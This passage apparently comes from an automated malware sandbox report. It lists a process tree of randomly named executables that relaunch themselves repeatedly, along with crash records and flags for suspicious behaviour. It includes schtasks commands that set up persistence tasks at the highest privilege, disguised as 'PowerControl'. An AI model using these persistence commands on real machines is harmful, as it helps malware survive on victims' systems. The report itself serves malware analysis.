C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:10824
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:10348
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:10440
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:4252
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:7008
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:8672
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:7760
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:10932
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:4992
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:3740
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:7104
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:9332
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:8548
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:2304
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:12628
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:13224
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:9952
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:12512
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 12512 -s 2810⤵
- Program crash
PID:9840 -
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:2060
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:2720
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:6876
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:5292
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:1484
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:6096
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:3264
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:816
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:1372
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:5600
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:13432
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:13920
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:13500
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:14144
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:13772
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:13064
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:14248
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:9724
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:6992
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:13968
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:4244
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:13944
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:12868
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:12840
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:7932
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:9976
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:11876
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:2404
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:10868
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:13340
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:2500
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:11276
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:12696
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:7640
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:13204
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:11832
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:11916
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:2540
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:12164
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:4788
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:13640
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13640 -s 2810⤵
- Program crash
PID:11512 -
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:5280
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:14056
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:5808
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:14448
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:14936
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:14392
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:14920
-
C:\Users\Admin\Documents\OyVo7K7KS6oTIcsGWS69NcJE.exe"C:\Users\Admin\Documents\OyVo7K7KS6oTIcsGWS69NcJE.exe"8⤵PID:6464
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST9⤵
- Creates scheduled task(s)
PID:8876 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST9⤵
- Creates scheduled task(s)
PID:4532 -
C:\Users\Admin\Documents\J77cmUgJX0OQi4nZtiqUPG2L.exe"C:\Users\Admin\Documents\J77cmUgJX0OQi4nZtiqUPG2L.exe"9⤵PID:5888
-
C:\Users\Admin\Documents\0OzKzw6X1yYuvEgLz0FVhc2h.exe"C:\Users\Admin\Documents\0OzKzw6X1yYuvEgLz0FVhc2h.exe"10⤵PID:2472
-
C:\Users\Admin\AppData\Roaming\5880565.exe"C:\Users\Admin\AppData\Roaming\5880565.exe"11⤵PID:1940
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1940 -s 230812⤵
- Program crash
PID:10480 -
C:\Users\Admin\AppData\Roaming\4730539.exe"C:\Users\Admin\AppData\Roaming\4730539.exe"11⤵PID:9036
-
C:\Users\Admin\AppData\Roaming\6911664.exe"C:\Users\Admin\AppData\Roaming\6911664.exe"11⤵PID:10136
-
C:\Users\Admin\AppData\Roaming\1677693.exe"C:\Users\Admin\AppData\Roaming\1677693.exe"11⤵PID:10408
-
C:\Users\Admin\AppData\Roaming\1713062.exe"C:\Users\Admin\AppData\Roaming\1713062.exe"11⤵PID:10864
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10864 -s 214012⤵
- Program crash
PID:5772 -
C:\Users\Admin\Documents\1ilDxDVZDYSPxzk74ziJDSOK.exe"C:\Users\Admin\Documents\1ilDxDVZDYSPxzk74ziJDSOK.exe"10⤵PID:9916
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9916 -s 28011⤵
- Program crash
PID:3488 -
C:\Users\Admin\Documents\52jBl1MYthE5TY0QSvLnq2OG.exe"C:\Users\Admin\Documents\52jBl1MYthE5TY0QSvLnq2OG.exe"8⤵PID:6540
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe"C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe"8⤵
- Suspicious use of SetThreadContext
PID:5020 -
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:4284
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:2036
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:8408
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:9212
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:10068
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:9676
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:4232
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:10052
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:10204
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:8840
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:4224
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:8120
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8120 -s 2810⤵
- Program crash
PID:5212 -
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:9204
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:10136
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:7992
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:8952
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:10592
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:11012
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:10524
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:9988
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:11052
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:10160
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:10988
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:4036
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵
- Suspicious use of AdjustPrivilegeToken
PID:5560 -
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:8720
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:3488
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:10860
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:3708
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:9528
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:5748
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:1500
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:11192
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:5720
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:3236
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:10644
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:5748
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:8496
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:9140
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:3388
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:1484
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵
- Suspicious use of FindShellTrayWindow
PID:1204 -
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:6816
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:6040
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:8924
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:6280
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:10928
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:720
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:7176
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:7392
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:3312
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:3692
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:5228
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:6988
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:5392
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:1188
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:7752
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:5300
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:7456
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:6812
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:11184
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:10128
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:5800
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:8576
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:8816
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:8704
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:7156
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:2432
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:7604
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:8216
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:5076
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:11036
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:7244
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7244 -s 2810⤵
- Program crash
PID:6092 -
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:10276
-
